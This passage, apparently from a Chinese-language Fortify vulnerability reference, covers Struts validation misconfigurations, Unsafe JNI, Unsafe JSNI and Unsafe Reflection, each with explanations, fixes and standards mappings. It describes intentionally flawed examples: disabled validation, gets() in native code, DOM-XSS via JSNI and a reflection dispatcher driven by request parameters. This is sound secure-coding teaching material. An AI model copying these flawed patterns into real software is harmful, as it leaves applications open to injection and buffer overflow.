如果您的类执行它自己的 validate() 方法,您仍然必须从验证器类进行推导,并且必须在 validate() 的执行过程中调用 super.validate()。
REFERENCES
[1] T. Husted et al. Struts in Action: Building Web Applications with the Leading Java Framework Manning Publications
[2] The Struts project The Apache Foundation
[3] Standards Mapping - Common Weakness Enumeration CWE ID 104
[4] Standards Mapping - FIPS200 SI
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[7] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[11] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[12] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[13] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[14] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[15] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
Struts: Form Field Without Validator
ABSTRACT
表单中的每个字段都应该对照相应的 validation form 进行验证。
EXPLANATION
即使遗漏其中一个输入字段的验证,也会成为攻击者可利用的破绽。
未经检验的输入是导致当今一些最糟糕、最常见的软件安全问题的根源。Cross-site scripting、SQL injection 和 process control 漏洞是由于缺少输入验证或者输入验证不完整造成的。虽然 J2EE 应用程序通常情况下不容易受到内存损坏的影响,但是如果 J2EE 应用程序连接到未执行数组边界检查的本地代码,攻击者就可能会利用 J2EE 应用程序中一个输入校验错误发起 buffer overflow 攻击。
一些应用程序使用同一个 ActionForm 来实现多个目的。在类似的情况下,一些字段在部分 action 映射中可能会失效。对未使用的字段也进行验证是至关重要的。最好是对未使用的字段进行严格的控制,使其只能处于空白或未定义状态。如果 unused field 没有经过验证,则 action 中的共享业务逻辑可能会允许攻击者绕过针对表单其他用途所执行的验证检查。
RECOMMENDATIONS
下面的例子包含一个来自于 Struts validation form 的条目。验证逻辑用于检测 passwd 参数的字符长度是否在 6 到 12 之间,以及是否只包含字母或数字字符。
1 | <field property="passwd" depends="min, max, mask"> |
REFERENCES
[1] T. Husted et al. Struts in Action: Building Web Applications with the Leading Java Framework Manning Publications
[2] The Struts project The Apache Foundation
[3] Standards Mapping - Common Weakness Enumeration CWE ID 105
[4] Standards Mapping - FIPS200 SI
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[7] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Struts: Plugin Framework Not In Use
ABSTRACT
使用 Struts Validator 来预防由未验证的输入导致的漏洞。
EXPLANATION
在 J2EE 应用程序中,未经检验的输入是导致漏洞发生的首要原因。未经检验的输入数据会导致许多漏洞,如 cross-site scripting、process control 和 SQL injection。虽然 J2EE 应用程序通常情况下不容易受到内存损坏的影响,但是如果 J2EE 应用程序连接到未执行数组边界检查的本地代码,攻击者就可能会利用 J2EE 应用程序中一个输入校验错误发起 buffer overflow 攻击。
为了防止此类攻击,应当先使用 Struts Validator 来检验所有输入程序的数据,然后再由应用程序处理这些数据。使用 Fortify Static Code Analyzer(Fortify 静态代码分析器)来确保您的 Struts Validator 配置中不存在任何漏洞。
验证器在例子中的用法包括检查并确保以下内容:
在电话号码字段中只包含有效字符
布尔值仅为 “T” 或者 “F”
未限定格式的字符串必须具有合理的长度,并且由有效的字符组成
RECOMMENDATIONS
在您的 Struts 配置文件中启用 Struts Validator。以下示例说明了一种典型设置:
1 | <plug-in className="org.apache.struts.validator.ValidatorPlugIn"> |
配置文件 validator-rules.xml 包含了对验证函数(称为验证器)的定义。配置文件 validation.xml 中定义了每个表单和每个表单字段所使用的验证器。
所有操作映射所使用的表单都必须真实存在,并且对所有表单参数都应进行验证。
REFERENCES
[1] T. Husted et al. Struts in Action: Building Web Applications with the Leading Java Framework Manning Publications
[2] The Struts Project The Apache Foundation
[3] Standards Mapping - Common Weakness Enumeration CWE ID 106
[4] Standards Mapping - FIPS200 SI
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[7] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Struts: Unused Action Form
ABSTRACT
unused action form 表明应用程序逻辑可能已经过时。
EXPLANATION
Struts 使用 form-bean 条目将 HTML 形式映射至操作。如果 Struts 配置文件的 <action-mappings>
元素中不包含与 <form-bean>
标签定义的相关 action form 对应的项,应用程序逻辑可能已经过时。
例 1:以下配置不包含 bean2 的映射。
1 | <form-beans> |
RECOMMENDATIONS
确保存在一个 action 条目,并且该条目与 <form-bean>
标签中发现的每个 name 属性相对应。
例 2:以下配置包含 bean1 和 bean2 的正确映射。
1 | <form-beans> |
REFERENCES
[1] Apache Struts 1.3 Specification
[2] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[3] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[4] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[5] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Struts: Unused Validation Form
ABSTRACT
unused validation form 暗示着验证逻辑已经过时。
EXPLANATION
当开发人员删除或者重命名 action form 映射后,很容易忘记更新验证逻辑。验证逻辑没有得到适当维护的一个迹象是存在 unused validation form。
RECOMMENDATIONS
通过验证逻辑查找是否存在其他或许更难察觉的问题。
- 如果 validation form 先前被一个 action form 映射调用过,而这个映射 目前已经删除了,则应删除这个 unused validation form。
- 如果该 action form 映射已经被重命名,请考虑重命名验证 表单,让它们重新连接起来。
- 如果旧的 action form 映射中存在的功能已经合并到 另一个 action form 映射中,请检查无用的验证逻辑与新的 验证逻辑之间的一致性。
REFERENCES
[1] T. Husted et al. Struts in Action: Building Web Applications with the Leading Java Framework Manning Publications
[2] The Struts project The Apache Foundation
[3] Standards Mapping - Common Weakness Enumeration CWE ID 107
[4] Standards Mapping - FIPS200 CM
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[7] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[12] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[13] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[14] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[15] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[21] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Struts: Unvalidated Action Form
ABSTRACT
每个 Action Form 必须具有一个对应的 validation form。
EXPLANATION
如果某个 Struts Action Form 映射指定了一个表单,它必须具有一个在 Struts Validator 下定义的 validation form。如果某个 Action Form 映射没有定义的 validation form,它可能极易受到那些利用未经检验的输入发起的攻击。
未经检验的输入是导致当今一些最糟糕、最常见的软件安全问题的根源。Cross-site scripting、SQL injection 和 process control 漏洞是由于缺少输入验证或者输入验证不完整造成的。虽然 J2EE 应用程序通常情况下不容易受到内存损坏的影响,但是如果 J2EE 应用程序连接到未执行数组边界检查的本地代码,攻击者就可能会利用 J2EE 应用程序中一个输入校验错误发起 buffer overflow 攻击。
虽然一个操作或表单可以通过别的方法执行验证,但是 Struts Validator 提供了一种极好的方法,来验证所有输入是否至少接受了最基础的检验。如果不使用这种方法,想要建立一个所有输入都经过验证的高级别信任度是一件非常困难、甚至不可能的事情。
RECOMMENDATIONS
下面的例子说明了如何使用 Struts validation form 对一个简单表单的输入执行健全性检查。在这个例子中,表单只接受一个名为 “passwd” 的参数。验证逻辑用于检测 “passwd” 参数的字符长度是否在 6 到 12 之间,以及是否只包含字母或数字字符。
在 struts-config.xml 文件中,应用程序定义了表单 bean 和操作映射:
1 | <struts-config> |
在 validation.xml 文件中,应用程序定义了针对 bean 的 validation form:
1 | <form-validation> |
REFERENCES
[1] T. Husted et al. Struts in Action: Building Web Applications with the Leading Java Framework Manning Publications
[2] The Struts project The Apache Foundation
[3] Standards Mapping - Common Weakness Enumeration CWE ID 108
[4] Standards Mapping - FIPS200 SI
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[7] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Struts: Validator Turned Off
ABSTRACT
这个 action form 映射禁用了表单的 validate() 方法。
EXPLANATION
action form 映射永远不应该禁用验证。禁用验证的同时也就禁用了 Struts Validator,一并还有所有由表单执行的自定义验证逻辑。
示例:一个禁用了验证的 action form 映射。
1 | <action path="/download" |
禁用验证会使该操作暴露在各种攻击之下。未经校验的输入是导致各种漏洞的根源,如 cross-site scripting、process control 和 SQL injection。虽然 J2EE 应用程序通常情况下不容易受到内存损坏的影响,但是如果 J2EE 应用程序连接到未执行数组边界检查的本地代码,攻击者就可能会利用 J2EE 应用程序中一个输入校验错误发起 buffer overflow 攻击。
RECOMMENDATIONS
默认情况下会启用验证,因此您不需要直接设置验证属性,如果已经设置,应删除它。
1 | <action path="/download" |
REFERENCES
[1] T. Husted et al. Struts in Action: Building Web Applications with the Leading Java Framework Manning Publications
[2] The Struts project The Apache Foundation
[3] Standards Mapping - Common Weakness Enumeration CWE ID 109
[4] Standards Mapping - FIPS200 SI
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[7] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Struts: Validator Without Form Field
ABSTRACT
没有出现在相关表单上的验证字段暗示着相应的验证逻辑已经过时。
EXPLANATION
开发人员对 ActionForm 类进行修改后,很容易忘记更新验证逻辑。如果验证逻辑没有得到适当维护,一个表现是 action form 和 validation form 之间出现不一致。
例 1.a:包含两个字段的 action form。
1 | public class DateRangeForm extends ValidatorForm { |
例 1.a 显示了一个包含两个字段的 action form,这两个字段是 startDate 和 endDate。
例 1.b:包含三个字段的 validation form。
1 | <form name="DateRangeForm"> |
例 1.b 为 action form 列出了一份 validation form。validation form 列出了第三个字段:scale。第三个字段的出现表明 DateRangeForm 在没有考虑到验证的情况下进行了修改。
验证逻辑的维护至关重要,验证逻辑必须与应用程序的其余部分保持同步。未经检验的输入是导致当今一些最糟糕、最常见的软件安全问题的根源。Cross-site scripting、SQL injection 和 process control 漏洞是由于缺少输入验证或者输入验证不完整造成的。虽然 J2EE 应用程序通常情况下不容易受到内存损坏的影响,但是如果 J2EE 应用程序连接到未执行数组边界检查的本地代码,攻击者就可能会利用 J2EE 应用程序中一个输入校验错误发起 buffer overflow 攻击。
RECOMMENDATIONS
这个错误通常暗示着发生了下面三种情况中的一种:
- 开发人员从一个 ActionForm 类中删除了一个字段,但是没能更新验证逻辑。
- 开发人员在一个 ActionForm 类中重命名了一个字段,但是没能更新验证逻辑。
- 验证字段名称或者 ActionForm 的成员名称中存在一个排字错误。
在所有的情况下,删除或修改验证字段的名称会导致 Fortify 安全编码规则包不再指出问题所在,但是您应该利用这个机会检查操作表单和验证表单。这个小错误可能意味着系统面临着巨大的潜在威胁,一些更难察觉的验证错误可能已经在同一时间潜入了应用程序。这就需要进行检查来确保长度和字段值仍然正确。
REFERENCES
[1] T. Husted et al. Struts in Action: Building Web Applications with the Leading Java Framework Manning Publications
[2] The Struts project The Apache Foundation
[3] Standards Mapping - Common Weakness Enumeration CWE ID 110
[4] Standards Mapping - FIPS200 CM
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[7] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[12] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[13] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[14] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[15] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[21] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Unsafe JNI
ABSTRACT
Java Native Interface(JNI)应用不当会导致 Java 应用程序容易受到其他语言的安全漏洞攻击。
EXPLANATION
当 Java 应用程序使用 JNI 调用以其他编程语言编写的代码时,会发生 Unsafe JNI 漏洞。
示例:以下 Java 代码定义了一个名为 Echo 的类。这个类声明了一个本地方法(下文定义),使用 C 语言将控制台上输入的命令回显给用户。
1 | class Echo { |
以下 C 语言代码定义了在 Echo 类中实现的本地方法:
1 | #include <jni.h> |
因为这个例子是在 Java 中实现的,所以看上去似乎可以避免诸如 buffer overflow 之类的内存问题。虽然 Java 在内存安全方面做的很好,但是该保护机制并不适用于其他语言编写的且通过 Java 本地接口 (JNI) 访问的源代码中出现的漏洞。尽管有 Java 提供的内存保护机制,但是这个例子中的 C 语言代码仍然很容易受到 buffer overflow 的攻击,因为它在没有执行任何输入检查的情况下就使用了 gets()。
Sun Java(TM) 教程对 JNI 描述如下 [1]:
一旦有了 JNI 框架,您的本地方法就可以像 Java 代码那样利用 Java 对象。本地方法可以创建 Java 对象(包括数组和字符串),并且检查和应用这些对象,以便执行各种相关的任务。本地方法也可以检查和应用由 Java 应用程序代码创建的对象。本地方法甚至可以更新由自己创建的或传递给它的 Java 对象,且更新后的对象可以应用到 Java 应用程序中。因此,在应用程序中,无论是本地语言还是 Java 语言都能创建、更新和访问 Java 对象,并在两种语言间共享这些对象。
通过检查本地方法实现的源代码,可以轻松地发现上述例子中存在的漏洞。根据不同的 C 语言源代码和项目构建方式,这种方式可能在某些情况下不可行,但是多数情况下还是可行的。然而,这种能够在 Java 方法和本地方法间共享对象的能力会进一步加大潜在的风险。在 Java 中数据处理不当时,可能会导致本地代码出现意想不到的漏洞,同样本地代码中的不安全操作会破坏 Java 的数据结构。
通过 Java 应用程序访问的本地代码中出现的漏洞,通常与由本地语言编写的应用程序中存在的漏洞是一样的。这种攻击面临的唯一挑战是:攻击者需要确定 Java 应用程序是否使用了本地代码执行某些特定的操作。可以用多种方法实现上述目的,包括识别那些通常用本地代码实现的某些特定行为,或者利用 Java 应用程序中 system information leak 的漏洞(表明系统使用了 JNI)[2]。
RECOMMENDATIONS
审计所有构成某个特定应用程序的源代码,包括在其他语言中执行的本地方法。审计期间,要确保能够正确地解释和处理 Java 和本地代码在边界检查和其他行为之间的差别。特别是确保在以下所有阶段都正确处理了共享对象:对象被传递到本地代码前、对象被本地代码应用期间以及对象被返回给 Java 应用程序后。
REFERENCES
[1] B. Stearns The Java Tutorial: The Java Native Interface
[2] JNI00-J. Define wrappers around native methods CERT
[3] INPUT-3: Define wrappers around native methods Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 111
[5] Standards Mapping - FIPS200 SI
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[8] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[15] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[24] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
Unsafe JSNI
ABSTRACT
JavaScript 本地接口 (JSNI) 应用不当会导致 GWT 应用程序容易受到 JavaScript 的安全漏洞攻击。
EXPLANATION
当 GWT 应用程序使用 JSNI 调用 JavaScript 代码时,会发生 Unsafe JSNI 错误。
示例:以下 Java 代码定义了一个名为 Redirect 的类。该类声明了一个本地 JavaScript 方法(下文定义),该方法使用 JavaScript 更改文档位置。
1 | import com.google.gwt.user.client.ui.UIObject; |
在此示例中,向 JSNI 函数传递不可信的数据可能会导致基于 DOM 的跨站点脚本攻击。
RECOMMENDATIONS
审计所有构成某个特定应用程序的源代码,包括在其他语言中执行的本地方法。在审计过程中,请确保在将数据传递到 JavaScript 本地代码之前检查这些数据,尤其需要确保在所有阶段中正确处理共享对象,这些阶段包括将共享对象传递到 JavaScript 代码前、共享对象由 JavaScript 代码操纵期间以及将共享对象返回给 GWT 应用程序后。
REFERENCES
[1] JSNI Google
[2] Standards Mapping - Common Weakness Enumeration CWE ID 111
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[6] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[12] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[13] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[14] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[15] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[22] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
Unsafe Reflection
ABSTRACT
攻击者会创建一个意想不到且贯穿于整个应用程序的控制流路径,从而逃避潜在的安全检查。
EXPLANATION
若攻击者可以为应用程序提供确定实例化哪个类或调用哪个方法的参数值,那么就有可能创建一个贯穿于整个应用程序的控制流路径,而该路径并非是应用程序开发者最初设计的。这种攻击途径可能使攻击者避开 authentication 或 access control 检测,或使应用程序以一种意想不到的方式运行。即使狡猾的攻击者只能控制传送给指定函数或构造函数的参数,也有可能会成功地发起攻击。
如果攻击者能够将文件上传到应用程序的类路径或者添加应用程序类路径的新入口,那么对应用程序来说,情况会非常糟糕。无论处于上面哪种情况,攻击者都能通过反射将新的行为引入应用程序,而这一行为往往可能是恶意的。
示例:应用程序使用反射 API 的一个共同理由是实现自己的命令发送器。以下例子显示了一个没有使用反射的命令发送器:
1 | String ctl = request.getParameter("ctl"); |
程序员可能会修改这段代码,以便按照如下情况使用反射:
1 | String ctl = request.getParameter("ctl"); |
乍一看,这种修改似乎具有许多优点。代码的行数比原先少了,if/else 代码段也完全删除了,而且还可以在不改变命令发送器的情况下增加新的命令类型。
然而,这种修改允许攻击者将任意实现了 Worker 接口的对象实例化。如果命令发送器仍对 access control 负责,那么只要程序员创建实现 Worker 接口的新类,就务必要修改发送器的 access control 代码。如果未修改 access control 代码,那么一些 Worker 类就没有任何 access control 权限。
解决 access control 问题的方法是让 Worker 对象负责执行 access control 检查。下面是一段重新修改的代码:
1 | String ctl = request.getParameter("ctl"); |
虽然有所改进,但它鼓励了采用分散化的手段进行 access control,这使程序员在 access control 上更加容易犯错误。
这段代码还强调了通过反射构建命令发送器所引发的安全问题。攻击者能为任意种类的对象调用默认构造函数。实际上,攻击者甚至不会局限于使用实现了 Worker 接口的对象;系统中所有对象的默认构造函数都可以调用。如果对象没有实现 Worker 接口,则会在分配 ao 前抛出 ClassCastException。但如果构造函数执行了一些有利于攻击者的操作,就会对应用程序造成伤害。对于简单的应用程序来说,这种情况的影响并不大,但是对于日趋复杂的大型应用程序来说,攻击者利用构造函数发动攻击并非没有可能。
